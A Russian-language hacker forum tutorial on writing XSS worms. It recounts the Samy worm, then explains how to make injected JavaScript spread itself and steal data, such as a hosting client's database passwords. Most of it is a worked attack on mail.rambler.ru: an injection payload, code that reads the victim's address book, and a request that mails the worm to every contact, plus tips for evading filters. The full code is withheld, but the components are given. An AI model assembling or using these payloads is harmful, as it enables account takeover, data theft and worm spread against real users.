[Историческая справка] "В Октябре 2005 года в Сети появился первый червь, использующий Cross-Site Scripting (XSS) уязвимость для распространения. За ночь червь Samy поразил более миллиона аккаунтов на популярном сайте Myspace.com, самой популярной социальной сети в мире. Для исправления уязвимости и устранения последствий сайт вынужден был прекратить свою работу. Автор червя, к счастью, не планировал нанесения особого вреда, единственным его желанием было прославится - но что может произойти получи менее положительный хакер контроль над миллионом броузеров легко представить..." - звучит красиво? и это правда, теперь XSS становится не только способом похулиганить в чатах или угнать кукисы админа, чтобы запостить новость о своем превосходстве над админом. [Наши жертвы] Жертвами такого рода атак могут стать не только форумы и чаты, а практически все динамические веб приложения. Например, хостинговая компания, казалось бы серьезно защищена от разного рода инъекций, работает под грамотно настроенным веб-сервером, имеет в рампоряжении прямые руки админа. Для клиентов установлена гостевуха/форум, пусть даже и самописные. Дальше по стандартной схеме: 1)Ищем активную XSS, желательно не одну. 2)Пишем несложный javascript код, использующий уязвимость, и заносим его, например, себе в профиль/подпись/пост и т.п. Наш червь при активизации, должен как и любая другая живность, саморазмножатся. Т.е. помещать свой код или ссылку на код в профиль/подпись/пост. 3)Регистрируемся на сайте хостера - изучаем возможности клиентов, т.е. "Пройдите по ссылке DATABASE - и увидите имена и пароли ваших баз данных". 4)Наделим наш червь "полезными функциями" - например, отсылка содержимого страницы "DATABASE". Вот и все, вся хваленая защита хостера сводится к нулю=) etc...Форум - червь делает нас админами; Интернет магазин - крадем данные о лицевых счетах; Провайдер - личные данные(телефон, имя, фимилия...)=)Вобщем, "заценили маштаб трагедии?". Потенциально такие черви, несут куда более огромную опасность, чем черви заточенные под определенную опасность. Вот 5 Фактов о червях: 1)XSS черви могут обитать везде, где есть динамика - динамический контент, как говорится "Динамика — прародительница всех дыр". 2)Учитывая, что разработчики к XSS уязвимостям относятся несерьезно, думая, что максимум на что способен хакер, это вывести глупый алерт, то огромное количество веб-приложений открыты для вторжения такого рода червей. 3)Скрость распространения и количество пораженных компьютеров зависит только от посещаемости ресурса. Так к примеру черьвь SAMY за первые 24 часа заразил более миллиона аккаунтов - это почти в три раза больше чем у Code Red (359.000) или Blaster (336.000). 4)Xss - червь может являтся разносчиком "заразы", заточенной под определенную ось - эксплуатирует свеженайденную уязвимость в бразерах. 5)Не зависят от типа операционной системы - Javascript везде одинаков=) [Пути распространения] Черви могут использовать для своего распространения почти все элементы сайта. Начиная от тех на которые пользователь может прямо оказывать влияние - подпись, настройки профиля; заканчивая надоедливыми баннерами. Но в любом случае первоисточником заражения будут элементы на которые пользователь может воздействовать, а баннер мы можем использовать для погрузки основного кода червя. Многие говорят, что пассивные Xss совершенно бесполезны, как бы не так=) Вообще у XSS червей - есть один большой недостаток, они распространяются только с определенного ресурса, и соответсвенно закрыв дыру на сайте - червь моментально умрет, поэтому мы должны для продолжения жизни нашего животного использовать максимум найденных уязвимостей, в том числе и пассивные иксэсэски. Да, я согласен, что для проведения удачной атаки с использованием пассивной уязвимости нужно хорошо вдладеть методами Социальной Инженерии. Но совокупность активной XSS + пассивная XSS - сила. Разве вы не пройдете по ссылке указанной в ПМ, которое которое было послано вашим лучшим сетевым другом?=)как известно черви при заражении либо несут с собой основное тело, либо подружают его с удаленного узла. Если червь будет подружатся с удаленного узла, то его функциональность будет значительно расширена. Мы будем иметь возможность добавлять новые функции в нашего питомца, безболезненно удалять червя, так что от него останется только ссылка на несуществующий сайт xss.narod.ru=) Кроме того, одно дело если нам известен движок установленный на сайте, совсем другое - когда проект закрытый. Тогда в ход вступают черви-шпионы=)Их задача - тыкаться по ссылкам и любым доступным способом отсылать содержимое или часть текущей страницы. [Пример живого червя] Теперь рассмотрим пример живого червя под известный РуРесурс rambler.ru(точнее под mail.rambler.ru) В первую очередь, как вы уже поняли, нужно найти активную ХСС. Благо на мэйле рамблера их много, возьмем уже описанную на этом форуме: Code: <font color="black><font color="style=background-image:url(javascript:alert())>Привет</font> Далее определимся со способом распространения червя - в нашем случае эта рассылка по адресной книге(ибо ей мало кто пользуется=)) Определим "необходимые нам переменные": &Адресная книга& Количество адресатов: Code: document.frames[0].document.forms[0].Book.length Адресат: Code: document.frames[0].document.forms[0].Book.options[0].text Открыть книгу: Code: Compose.wssp?OpenBook=1 &Письма& Отослать в виде HTML: Code: Compose.wssp?FormCharset=windows-1251&[email protected]&Subject=Fwd: &Send=Отправить письмо&Body=hi ppl&SendHTML=1&SaveSent=1&desiredCharset=windows-1251&filled=1&operation=Forward&origMailbox=INBOX&origMessage=821 Отослать из адресной книги: Code: Compose.wssp?FormCharset=windows-1251&addressBook=1&To=<[email protected]>, <test>&Subject=Fwd: &Send=Отправить письмо&Body=hi ppl&SendHTML=1&Send=Отправить письмо&desiredCharset=windows-1251&filled=1&operation=Forward&origMailbox=INBOX&origMessage=827 Да, и самое главное, просмотрев сорс странички можно увидеть что там есть iframe, который мы собственно и будет экспуатировать. Во фрейм мы будем загружать адресную книгу: Code: <font color="red><font color="style=background-image:url(javascript:document.frames[0].location="Compose.wssp?OpenBook=1") >Привет</font> Затем, "выдерем" все адреса из книги и сфорумируем адресата вида:<[email protected]>,<[email protected]>,.. Code: for(i=0;i<Book.length;i++){adrti=adrti+"<"+Book.options[i].text+">, ";} Ну и наконец отсылаем приветственое письмо адресатам прямо из книги: Code: sl=new Image();sl.src="Compose.wssp?FormCharset=windows-1251&addressBook=1&To="+adrti+"&Subject=textcss &Send=Отправить письмо&Body=hi ppl&SendHTML=1&Send=Отправить письмо&desiredCharset=windows-1251&filled=1&operation=Forward&origMailbox=INBOX&origMessage=827 &Технические мелочи& "В этом мире не все так просто(с)" - поэтому, вкратце опишу технические мелочи реализации: 1)пробелы в жавакоде необходимо заменить на /**/ 2)Для диалапщиков, типа меня, и просто людей с медленным интернетом, добавляем обработчики исключений и сетинтервалы. 3)кодируем полчученное чудо в unicode. 4)письмо необходимо отправлять в виде html(галочку установить) 5)оттестированно на "старом" дизайне По известным причинам, готовый код выложен не будет=) Что касается рамблера, так мы можем все - отсылась письма, вытягивать все мылы(не только из адресной книги), и самое интересное - без какого либо подтверждения, мы можем удалить все письма=) [Безопасность и заключение] "Безопасность и заключение" - звучит двусмысленно: >в первую очередь, - это напоминание об УК РФ=) >а во вторую, - Защиту от такого рода червей, можно обеспечить только грамотно написанными сриптами. Безусловно, "Введите пароль для подтверждения изменения ваших настроек" - хороший шаг. Но все запаролить невозможно, хотя бы по той причине, что тогда пользователи убегут от вас через 10 минут и никогда не вернутся. О применении такого рода червей можно говорить очень долго. А что касается криков xss die(http://ilia.ws/index.php?url=archives/121-httpOnly-cookie-flag-support-in-PHP-5.2.html), то вот явный пример что хсс не умрут еще долго. P>S>Частично текст взят с инета(начало статьи), для большей красоты, думаю никто не против=)